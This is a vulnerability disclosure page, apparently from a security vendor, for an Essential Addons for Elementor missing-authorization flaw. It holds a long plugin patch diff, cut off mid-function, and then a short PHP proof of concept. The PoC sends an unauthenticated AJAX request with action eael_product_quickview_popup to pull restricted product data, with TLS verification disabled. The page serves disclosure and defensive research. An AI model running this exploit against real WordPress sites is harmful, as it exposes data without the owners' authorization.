+                    'eael_adv_accordion_type!' => 'accordion_media',
+                ],
+            ]
+        );
+
+        $this->add_control(
+            'eael_accordion_media_tab_text_color_active',
+            [
+                'label'     => esc_html__('Text Color', 'essential-addons-for-elementor-lite'),
+                'type'      => Controls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-lists .eael-accordion_media-list.active .eael-accordion_media-title' => 'color: {{VALUE}};',
+                ],
+                'condition' => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
             ]
         );
+
         $this->add_control(
             'eael_adv_accordion_tab_icon_color_active',
             [
@@ -919,15 +1323,52 @@
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header.active .fa-accordion-icon' => 'color: {{VALUE}};',
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header.active .fa-accordion-icon svg' => 'color: {{VALUE}};fill: {{VALUE}}',
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header.active svg.fa-accordion-icon' => 'fill: {{VALUE}}',
+                    '{{WRAPPER}} .eael-accordion_media-list.active .eael-accordion_media-icon i'   => 'color: {{VALUE}};',
+                    '{{WRAPPER}} .eael-accordion_media-list.active .eael-accordion_media-icon svg'   => 'fill: {{VALUE}}',
+                ],
+                'condition' => [
+                    'eael_adv_accordion_type!' => 'accordion_media',
+                ],
+            ]
+        );
+
+        $this->add_control(
+            'eael_adv_accordion_tab_icon_color_active_media',
+            [
+                'label'     => esc_html__('Icon Color', 'essential-addons-for-elementor-lite'),
+                'type'      => Controls_Manager::COLOR,
+                'default'   => '#333',
+                'selectors' => [
+                    '{{WRAPPER}} .eael-accordion_media-list.active .eael-accordion_media-icon i'   => 'color: {{VALUE}};',
+                    '{{WRAPPER}} .eael-accordion_media-list.active .eael-accordion_media-icon svg'   => 'fill: {{VALUE}}',
+                ],
+                'condition' => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+            ]
+        );
+
+        $this->add_control(
+            'eael_adv_accordion_tab_icon_border_color_active',
+            [
+                'label'     => esc_html__('Icon Border Color', 'essential-addons-for-elementor-lite'),
+                'type'      => Controls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .eael-accordion_media-list.active .eael-accordion_media-icon' => 'border-color: {{VALUE}};',
+                ],
+                'condition' => [
+                    'eael_adv_accordion_type' => 'accordion_media',
                 ],
             ]
         );
+
         $this->add_group_control(
             Group_Control_Border::get_type(),
             [
                 'name'     => 'eael_adv_accordion_tab_border_active',
                 'label'    => esc_html__('Border', 'essential-addons-for-elementor-lite'),
-                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header.active',
+                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header.active,
+                {{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-lists .eael-accordion_media-list.active',
             ]
         );
         $this->add_responsive_control(
@@ -938,6 +1379,7 @@
                 'size_units' => ['px', 'em', '%'],
                 'selectors'  => [
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header.active' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+                    '{{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-lists .eael-accordion_media-list.active' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
                 ],
             ]
         );
@@ -962,6 +1404,9 @@
                 'name'     => 'adv_accordion_content_bgtype',
                 'types'    => ['classic', 'gradient'],
                 'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-content',
+                'condition'=> [
+                    'eael_adv_accordion_type!' => 'accordion_media',
+                ],
             ]
         );

@@ -973,6 +1418,7 @@
                 'default'   => '#333',
                 'selectors' => [
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-content' => 'color: {{VALUE}};',
+                    '{{WRAPPER}} .eael-accordion_media-list .eael-accordion_media-content .eael-accordion_media-description' => 'color: {{VALUE}};',
                 ],
             ]
         );
@@ -980,7 +1426,8 @@
             Group_Control_Typography::get_type(),
             [
                 'name'     => 'eael_adv_accordion_content_typography',
-                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-content',
+                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-content,
+                {{WRAPPER}} .eael-accordion_media-list .eael-accordion_media-content .eael-accordion_media-description',
             ]
         );
         $this->add_responsive_control(
@@ -991,6 +1438,7 @@
                 'size_units' => ['px', 'em', '%'],
                 'selectors'  => [
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+                    '{{WRAPPER}} .eael-accordion_media-list.active .eael-accordion_media-content .eael-accordion_media-description' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
                 ],
             ]
         );
@@ -1002,6 +1450,7 @@
                 'size_units' => ['px', 'em', '%'],
                 'selectors'  => [
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-content' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+                    '{{WRAPPER}} .eael-accordion_media-list.active .eael-accordion_media-content .eael-accordion_media-description' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
                 ],
             ]
         );
@@ -1010,14 +1459,16 @@
             [
                 'name'     => 'eael_adv_accordion_content_border',
                 'label'    => esc_html__('Border', 'essential-addons-for-elementor-lite'),
-                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-content',
+                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-content,
+                {{WRAPPER}} .eael-accordion_media-list .eael-accordion_media-content .eael-accordion_media-description',
             ]
         );
         $this->add_group_control(
             Group_Control_Box_Shadow::get_type(),
             [
                 'name'      => 'eael_adv_accordion_content_shadow',
-                'selector'  => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-content',
+                'selector'  => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-content,
+                {{WRAPPER}} .eael-accordion_media-list .eael-accordion_media-content .eael-accordion_media-description',
                 'separator' => 'before',
             ]
         );
@@ -1031,6 +1482,9 @@
             [
                 'label' => esc_html__('Toggle Caret Style', 'essential-addons-for-elementor-lite'),
                 'tab'   => Controls_Manager::TAB_STYLE,
+                'condition'=> [
+                    'eael_adv_accordion_type!' => 'accordion_media',
+                ],
             ]
         );

@@ -1253,145 +1707,150 @@
         $this->add_render_attribute('eael-adv-accordion', 'data-scroll-on-click', esc_attr( $settings['eael_adv_accordion_scroll_onclick'] ));
         $this->add_render_attribute('eael-adv-accordion', 'data-scroll-speed', esc_attr( $settings['eael_adv_accordion_scroll_speed'] ));

-        if( !empty($settings['eael_adv_accordion_custom_id_offset']) ){
-            $this->add_render_attribute('eael-adv-accordion', 'data-custom-id-offset', esc_attr( $settings['eael_adv_accordion_custom_id_offset'] ) );
-        }
-?>
-        <div <?php $this->print_render_attribute_string('eael-adv-accordion'); ?> <?php echo 'data-accordion-id="' . esc_attr($this->get_id()) . '"'; ?> <?php echo !empty($settings['eael_adv_accordion_type']) ? 'data-accordion-type="' . esc_attr($settings['eael_adv_accordion_type']) . '"' : 'accordion'; ?> <?php echo !empty($settings['eael_adv_accordion_toggle_speed']) ? 'data-toogle-speed="' . esc_attr($settings['eael_adv_accordion_toggle_speed']) . '"' : '300'; ?>>
-    <?php
-        if( 'dynamic' === $settings['eael_adv_accordion_content_source'] ) {
-            $this->render_dynamic_content();
+        // Advanced Accordion Media Type
+        if ( 'accordion_media' === $settings['eael_adv_accordion_type'] ) {
+            do_action( 'eael_adv_accordion_media_type', $settings, $this );
         } else {
-            foreach ($settings['eael_adv_accordion_tab'] as $index => $tab) {
-                if( empty( $tab['eael_adv_accordion_tab_title'] ) || ( 'content' == $tab['eael_adv_accordion_text_type'] && empty( $tab['eael_adv_accordion_tab_content'] ) ) ){
-                    continue;
-                }
-
-                $tab_count = $index + 1;
-                $tab_title_setting_key = $this->get_repeater_setting_key('eael_adv_accordion_tab_title', 'eael_adv_accordion_tab', $index);
-                $tab_content_setting_key = $this->get_repeater_setting_key('eael_adv_accordion_tab_content', 'eael_adv_accordion_tab', $index);
-
-                $tab_title_class = ['elementor-tab-title', 'eael-accordion-header'];
-                $tab_content_class = ['eael-accordion-content', 'clearfix'];
-
-                $tab_icon_migrated = isset($tab['__fa4_migrated']['eael_adv_accordion_tab_title_icon_new']);
-                $tab_icon_is_new = empty($tab['eael_adv_accordion_tab_title_icon']);
-
-                if ($tab['eael_adv_accordion_tab_default_active'] == 'yes') {
-                    $tab_title_class[] = 'active-default';
-                    $tab_content_class[] = 'active-default';
-                }
-
-                $tab_id = $tab['eael_adv_accordion_tab_id'] ? $tab['eael_adv_accordion_tab_id'] : Helper::str_to_css_id( $tab['eael_adv_accordion_tab_title'] );
-                $tab_id = $tab_id === 'safari' ? 'eael-safari' : $tab_id;
-
-                $this->add_render_attribute($tab_title_setting_key, [
-                    'id'            => $tab_id,
-                    'class'         => $tab_title_class,
-                    'tabindex'      => 0,
-                    'data-tab'      => $tab_count,
-                    'aria-controls' => 'elementor-tab-content-' . $id_int . $tab_count,
-                ]);
-
-                $this->add_render_attribute($tab_content_setting_key, [
-                    'id'              => 'elementor-tab-content-' . $id_int . $tab_count,
-                    'class'           => $tab_content_class,
-                    'data-tab'        => $tab_count,
-    //                'role'            => 'tabpanel',
-                    'aria-labelledby' => $tab_id,
-                ]);
-
-            echo '<div class="eael-accordion-list">
-                <div '; $this->print_render_attribute_string($tab_title_setting_key); echo '>';
-            // toggle icon if user set position to left
-            if ($settings['eael_adv_accordion_icon_show'] === 'yes' && $settings['eael_adv_accordion_toggle_icon_postion'] === '') {
-                $this->print_toggle_icon($settings);
-            }
-            // tab title
-            if ($settings['eael_adv_accordion_toggle_icon_postion'] === '') {
-                $title_tag = Helper::eael_validate_html_tag( $settings['eael_adv_accordion_title_tag'] );
-                $title = '<' . $title_tag  . ' class="eael-accordion-tab-title">' . $tab['eael_adv_accordion_tab_title'] . '</' . $title_tag . '>';
-                echo wp_kses( $title, Helper::eael_allowed_tags() );
-            }
-            // tab icon
-            if ($tab['eael_adv_accordion_tab_icon_show'] === 'yes') {
-                if ($tab_icon_is_new || $tab_icon_migrated) {
-                    if ( 'svg' === $tab['eael_adv_accordion_tab_title_icon_new']['library'] ) {
-                        echo '<span class="fa-accordion-icon fa-accordion-icon-svg eaa-svg eael-advanced-accordion-icon-closed">';
-                        Icons_Manager::render_icon( $tab['eael_adv_accordion_tab_title_icon_new'] );
-                        echo '</span>';
-                    }else{
-                        echo '<span class="eael-advanced-accordion-icon-closed">';
-                        Icons_Manager::render_icon( $tab['eael_adv_accordion_tab_title_icon_new'], [ 'aria-hidden' => 'true', 'class' => "fa-accordion-icon" ] );
-                        echo '</span>';
-                    }
-
-                        if ( 'svg' === $tab['eael_adv_accordion_tab_title_icon_new_opened']['library'] ) {
-                            echo '<span class="fa-accordion-icon fa-accordion-icon-svg eaa-svg eael-advanced-accordion-icon-opened">';
-                            Icons_Manager::render_icon( $tab['eael_adv_accordion_tab_title_icon_new_opened'] );
-                            echo '</span>';
-                        }else{
-                            echo '<span class="eael-advanced-accordion-icon-opened">';
-                            Icons_Manager::render_icon( $tab['eael_adv_accordion_tab_title_icon_new_opened'], [ 'aria-hidden' => 'true', 'class' => "fa-accordion-icon" ] );
-                            echo '</span>';
-                        }
-
-                } else {
-                    echo '<span class="eael-advanced-accordion-icon-closed"><i class="' . ( ! empty( $tab['eael_adv_accordion_tab_title_icon'] ) ? esc_attr( $tab['eael_adv_accordion_tab_title_icon'] ) : '' ) . ' fa-accordion-icon"></i></span>';
-                    echo '<span class="eael-advanced-accordion-icon-opened"><i class="' . ( ! empty( $tab['eael_adv_accordion_tab_title_icon_opened'] ) ? esc_attr( $tab['eael_adv_accordion_tab_title_icon_opened'] ) : ' fa fa-minus ' ) . ' fa-accordion-icon"></i></span>';
-                }
-            }
-            // tab title
-            if ($settings['eael_adv_accordion_toggle_icon_postion'] === 'right' || $settings['eael_adv_accordion_toggle_icon_postion'] === null) {
-                $title_tag = Helper::eael_validate_html_tag( $settings['eael_adv_accordion_title_tag'] );
-                $title = '<' . $title_tag . ' class="eael-accordion-tab-title">' . $tab['eael_adv_accordion_tab_title'] . '</' . $title_tag . '>';
-                echo wp_kses( $title, Helper::eael_allowed_tags() );
-            }
-            // toggle icon
-            if ($settings['eael_adv_accordion_icon_show'] === 'yes' && $settings['eael_adv_accordion_toggle_icon_postion'] === 'right') {
-                $this->print_toggle_icon( $settings );
-            }
-            echo '</div>';
-
-            echo '<div ';  $this->print_render_attribute_string($tab_content_setting_key); echo '>';
-            if ('content' == $tab['eael_adv_accordion_text_type']) {
-                // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-                echo $this->parse_text_editor( $tab['eael_adv_accordion_tab_content'] );
-            } elseif ('template' == $tab['eael_adv_accordion_text_type']) {
-                if ( ! empty( $tab['eael_primary_templates'] ) && Helper::is_elementor_publish_template( $tab['eael_primary_templates'] ) ) {
-                    // WPML Compatibility
-                    if ( ! is_array( $tab['eael_primary_templates'] ) ) {
-                        $tab['eael_primary_templates'] = apply_filters( 'wpml_object_id', $tab['eael_primary_templates'], 'wp_template', true );
+            if( !empty($settings['eael_adv_accordion_custom_id_offset']) ){
+                        $this->add_render_attribute('eael-adv-accordion', 'data-custom-id-offset', esc_attr( $settings['eael_adv_accordion_custom_id_offset'] ) );
                     }
-
-	                Helper::eael_onpage_edit_template_markup( get_the_ID(), $tab['eael_primary_templates'] );
-                    // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-                    echo Plugin::$instance->frontend->get_builder_content( $tab['eael_primary_templates'], true );
-                }
-            }
-            echo '</div>
-                </div>';
-        }
-        echo '</div>';
-
-        // FAQ Schema
-        if ( !empty( $settings['eael_adv_accordion_faq_schema_show'] ) && 'yes' === $settings['eael_adv_accordion_faq_schema_show'] ) {
-            foreach ( $settings['eael_adv_accordion_tab'] as $index => $tab ) {
-                $faq_schema_text = ! empty( $tab['eael_adv_accordion_tab_faq_schema_text'] ) ? $tab['eael_adv_accordion_tab_faq_schema_text'] : '';
-
-                $faq = [
-                    '@type' => 'Question',
-                    'name' => Helper::eael_wp_kses( $tab['eael_adv_accordion_tab_title'] ),
-                    'acceptedAnswer' => [
-                        '@type' => 'Answer',
-                        'text' => ('content' === $tab['eael_adv_accordion_text_type']) ? do_shortcode( $tab['eael_adv_accordion_tab_content'] ) : Helper::eael_wp_kses( $faq_schema_text ),
-                    ],
-                ];
-
-                    Helper::set_eael_advanced_accordion_faq($faq);
-                }
-            }
-        }
+            ?>
+            <div <?php $this->print_render_attribute_string('eael-adv-accordion'); ?> <?php echo 'data-accordion-id="' . esc_attr($this->get_id()) . '"'; ?> <?php echo !empty($settings['eael_adv_accordion_type']) ? 'data-accordion-type="' . esc_attr($settings['eael_adv_accordion_type']) . '"' : 'accordion'; ?> <?php echo !empty($settings['eael_adv_accordion_toggle_speed']) ? 'data-toogle-speed="' . esc_attr($settings['eael_adv_accordion_toggle_speed']) . '"' : '300'; ?>>
+            <?php
+			if( 'dynamic' === $settings['eael_adv_accordion_content_source'] ) {
+				$this->render_dynamic_content();
+			} else {
+				foreach ($settings['eael_adv_accordion_tab'] as $index => $tab) {
+				if( empty( $tab['eael_adv_accordion_tab_title'] ) || ( 'content' == $tab['eael_adv_accordion_text_type'] && empty( $tab['eael_adv_accordion_tab_content'] ) ) ){
+					continue;
+				}
+
+				$tab_count = $index + 1;
+				$tab_title_setting_key = $this->get_repeater_setting_key('eael_adv_accordion_tab_title', 'eael_adv_accordion_tab', $index);
+				$tab_content_setting_key = $this->get_repeater_setting_key('eael_adv_accordion_tab_content', 'eael_adv_accordion_tab', $index);
+
+				$tab_title_class = ['elementor-tab-title', 'eael-accordion-header'];
+				$tab_content_class = ['eael-accordion-content', 'clearfix'];
+
+				$tab_icon_migrated = isset($tab['__fa4_migrated']['eael_adv_accordion_tab_title_icon_new']);
+				$tab_icon_is_new = empty($tab['eael_adv_accordion_tab_title_icon']);
+
+				if ($tab['eael_adv_accordion_tab_default_active'] == 'yes') {
+					$tab_title_class[] = 'active-default';
+					$tab_content_class[] = 'active-default';
+				}
+
+				$tab_id = $tab['eael_adv_accordion_tab_id'] ? $tab['eael_adv_accordion_tab_id'] : Helper::str_to_css_id( $tab['eael_adv_accordion_tab_title'] );
+				$tab_id = $tab_id === 'safari' ? 'eael-safari' : $tab_id;
+
+				$this->add_render_attribute($tab_title_setting_key, [
+					'id'            => $tab_id,
+					'class'         => $tab_title_class,
+					'tabindex'      => 0,
+					'data-tab'      => $tab_count,
+					'aria-controls' => 'elementor-tab-content-' . $id_int . $tab_count,
+				]);
+
+				$this->add_render_attribute($tab_content_setting_key, [
+					'id'              => 'elementor-tab-content-' . $id_int . $tab_count,
+					'class'           => $tab_content_class,
+					'data-tab'        => $tab_count,
+					// 'role'            => 'tabpanel',
+					'aria-labelledby' => $tab_id,
+				]);
+
+				echo '<div class="eael-accordion-list">
+					<div '; $this->print_render_attribute_string($tab_title_setting_key); echo '>';
+				// toggle icon if user set position to left
+				if ($settings['eael_adv_accordion_icon_show'] === 'yes' && $settings['eael_adv_accordion_toggle_icon_postion'] === '') {
+					$this->print_toggle_icon($settings);
+				}
+				// tab title
+				if ($settings['eael_adv_accordion_toggle_icon_postion'] === '') {
+					$title_tag = Helper::eael_validate_html_tag( $settings['eael_adv_accordion_title_tag'] );
+					$title = '<' . $title_tag  . ' class="eael-accordion-tab-title">' . $tab['eael_adv_accordion_tab_title'] . '</' . $title_tag . '>';
+					echo wp_kses( $title, Helper::eael_allowed_tags() );
+				}
+				// tab icon
+				if ($tab['eael_adv_accordion_tab_icon_show'] === 'yes') {
+					if ($tab_icon_is_new || $tab_icon_migrated) {
+						if ( 'svg' === $tab['eael_adv_accordion_tab_title_icon_new']['library'] ) {
+							echo '<span class="fa-accordion-icon fa-accordion-icon-svg eaa-svg eael-advanced-accordion-icon-closed">';
+							Icons_Manager::render_icon( $tab['eael_adv_accordion_tab_title_icon_new'] );
+							echo '</span>';
+						}else{
+							echo '<span class="eael-advanced-accordion-icon-closed">';
+							Icons_Manager::render_icon( $tab['eael_adv_accordion_tab_title_icon_new'], [ 'aria-hidden' => 'true', 'class' => "fa-accordion-icon" ] );
+							echo '</span>';
+						}
+
+						if ( 'svg' === $tab['eael_adv_accordion_tab_title_icon_new_opened']['library'] ) {
+							echo '<span class="fa-accordion-icon fa-accordion-icon-svg eaa-svg eael-advanced-accordion-icon-opened">';
+							Icons_Manager::render_icon( $tab['eael_adv_accordion_tab_title_icon_new_opened'] );
+							echo '</span>';
+						}else{
+							echo '<span class="eael-advanced-accordion-icon-opened">';
+							Icons_Manager::render_icon( $tab['eael_adv_accordion_tab_title_icon_new_opened'], [ 'aria-hidden' => 'true', 'class' => "fa-accordion-icon" ] );
+							echo '</span>';
+						}
+
+					} else {
+						echo '<span class="eael-advanced-accordion-icon-closed"><i class="' . ( ! empty( $tab['eael_adv_accordion_tab_title_icon'] ) ? esc_attr( $tab['eael_adv_accordion_tab_title_icon'] ) : '' ) . ' fa-accordion-icon"></i></span>';
+						echo '<span class="eael-advanced-accordion-icon-opened"><i class="' . ( ! empty( $tab['eael_adv_accordion_tab_title_icon_opened'] ) ? esc_attr( $tab['eael_adv_accordion_tab_title_icon_opened'] ) : ' fa fa-minus ' ) . ' fa-accordion-icon"></i></span>';
+					}
+				}
+				// tab title
+				if ($settings['eael_adv_accordion_toggle_icon_postion'] === 'right' || $settings['eael_adv_accordion_toggle_icon_postion'] === null) {
+					$title_tag = Helper::eael_validate_html_tag( $settings['eael_adv_accordion_title_tag'] );
+					$title = '<' . $title_tag . ' class="eael-accordion-tab-title">' . $tab['eael_adv_accordion_tab_title'] . '</' . $title_tag . '>';
+					echo wp_kses( $title, Helper::eael_allowed_tags() );
+				}
+				// toggle icon
+				if ($settings['eael_adv_accordion_icon_show'] === 'yes' && $settings['eael_adv_accordion_toggle_icon_postion'] === 'right') {
+					$this->print_toggle_icon( $settings );
+				}
+				echo '</div>';
+
+				echo '<div ';  $this->print_render_attribute_string($tab_content_setting_key); echo '>';
+				if ('content' == $tab['eael_adv_accordion_text_type']) {
+					// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+					echo $this->parse_text_editor( $tab['eael_adv_accordion_tab_content'] );
+				} elseif ('template' == $tab['eael_adv_accordion_text_type']) {
+					if ( ! empty( $tab['eael_primary_templates'] ) && Helper::is_elementor_publish_template( $tab['eael_primary_templates'] ) ) {
+						// WPML Compatibility
+						if ( ! is_array( $tab['eael_primary_templates'] ) ) {
+							$tab['eael_primary_templates'] = apply_filters( 'wpml_object_id', $tab['eael_primary_templates'], 'wp_template', true );
+						}
+
+						Helper::eael_onpage_edit_template_markup( get_the_ID(), $tab['eael_primary_templates'] );
+						// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+						echo Plugin::$instance->frontend->get_builder_content( $tab['eael_primary_templates'], true );
+					}
+				}
+				echo '</div>
+					</div>';
+			}
+				echo '</div>';
+
+				// FAQ Schema
+				if ( !empty( $settings['eael_adv_accordion_faq_schema_show'] ) && 'yes' === $settings['eael_adv_accordion_faq_schema_show'] ) {
+					foreach ( $settings['eael_adv_accordion_tab'] as $index => $tab ) {
+						$faq_schema_text = ! empty( $tab['eael_adv_accordion_tab_faq_schema_text'] ) ? $tab['eael_adv_accordion_tab_faq_schema_text'] : '';
+
+						$faq = [
+							'@type' => 'Question',
+							'name' => Helper::eael_wp_kses( $tab['eael_adv_accordion_tab_title'] ),
+							'acceptedAnswer' => [
+								'@type' => 'Answer',
+								'text' => ('content' === $tab['eael_adv_accordion_text_type']) ? do_shortcode( $tab['eael_adv_accordion_tab_content'] ) : Helper::eael_wp_kses( $faq_schema_text ),
+							],
+						];
+
+						Helper::set_eael_advanced_accordion_faq($faq);
+					}
+				}
+			}
+		}
     }

     protected function render_dynamic_content() {
@@ -1485,7 +1944,7 @@
                         } else {
                             echo wp_kses( get_the_excerpt(), Helper::eael_allowed_tags() );
                         }
-
+
                     echo '</div>';
                 echo '</div>';
             }
@@ -1493,7 +1952,7 @@
             echo '<p class="no-posts-found">'. esc_html__('No posts found!', 'essential-addons-elementor') .'</p>';
         }
         wp_reset_postdata();
-
+
         if ( $has_block ) {
             wp_enqueue_style( 'wp-block-library' );
             wp_enqueue_style( 'wp-block-library-theme' );
@@ -1501,7 +1960,7 @@
             wp_enqueue_style( 'wc-blocks-style' );
         }
     }
-
+

     protected function print_toggle_icon($settings)
     {
--- a/essential-addons-for-elementor-lite/includes/Elements/Event_Calendar.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Event_Calendar.php
@@ -3989,7 +3989,8 @@
                 $settings_eael_event_global_popup_ribbon_color = $this->fetch_color_or_global_color($settings, 'eael_event_global_popup_ribbon_color');

                 if( !empty( $settings["eael_old_events_hide"] ) && 'yes' === $settings["eael_old_events_hide"] ){
-                    $is_old_event = $this->is_old_event($ev_start_date);
+                    $is_old_event = $this->is_old_event($ev_start_date, '', 'yes' === $all_day);
+
                     if($is_old_event) {
                         continue;
                     }
@@ -3997,7 +3998,7 @@

 	            if( $settings['eael_old_events_hide'] === 'start' ){
                     $default_date = $settings['eael_event_default_date_type'] === 'custom' ? $settings['eael_event_calendar_default_date'] : gmdate( 'Y-m-d' );
-                    $should_show  = $this->is_old_event( $ev_start_date, $default_date );
+                    $should_show  = $this->is_old_event( $ev_start_date, $default_date, 'yes' === $all_day );

                     if ( $should_show ) {
                         continue;
@@ -4137,17 +4138,28 @@
         return $calendar_data;
     }

-	public function is_old_event( $start_date, $date_to_comp = '' ) {
-		$date_to_comp         = $date_to_comp === '' ? current_time( 'Y-m-d' ) : $date_to_comp;
-		$date_to_comp         = strtotime( $date_to_comp . wp_timezone_string() );
-		$start_date_timestamp = strtotime( $start_date );
-
-		if ( $start_date_timestamp < $date_to_comp ) {
-			return true;
-		}
+	public function is_old_event( $start_date, $date_to_comp = '', $is_all_day = false ) {
+
+        // Use WP timezone correctly
+        $tz = wp_timezone();
+
+        // Default comparison date = today (si

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1004 - Essential Addons for Elementor <= 6.5.5 - Missing Authorization to Unauthenticated Sensitive Information Exposure

<?php

$target_url = "https://example.com/wp-admin/admin-ajax.php";

function exploit_cve_2026_1004($url, $product_id) {
    $ch = curl_init();
    
    $post_data = [
        'action' => 'eael_product_quickview_popup',
        'product_id' => $product_id
    ];
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    // Set WordPress AJAX headers
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'X-Requested-With: XMLHttpRequest',
        'Accept: application/json'
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    curl_close($ch);
    
    return [
        'status' => $http_code,
        'response' => $response
    ];
}

// Example usage with product ID enumeration
$product_id = 123; // Replace with target product ID
$result = exploit_cve_2026_1004($target_url, $product_id);

if ($result['status'] == 200) {
    echo "Vulnerable endpoint responded with:n";
    echo $result['response'] . "n";
    
    $data = json_decode($result['response'], true);
    if (json_last_error() === JSON_ERROR_NONE) {
        if (isset($data['success']) && $data['success'] === true) {
            echo "SUCCESS: Retrieved product data for ID: $product_idn";
            // The response contains product HTML/data that should be restricted
        }
    }
} else {
    echo "Request failed with HTTP status: " . $result['status'] . "n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School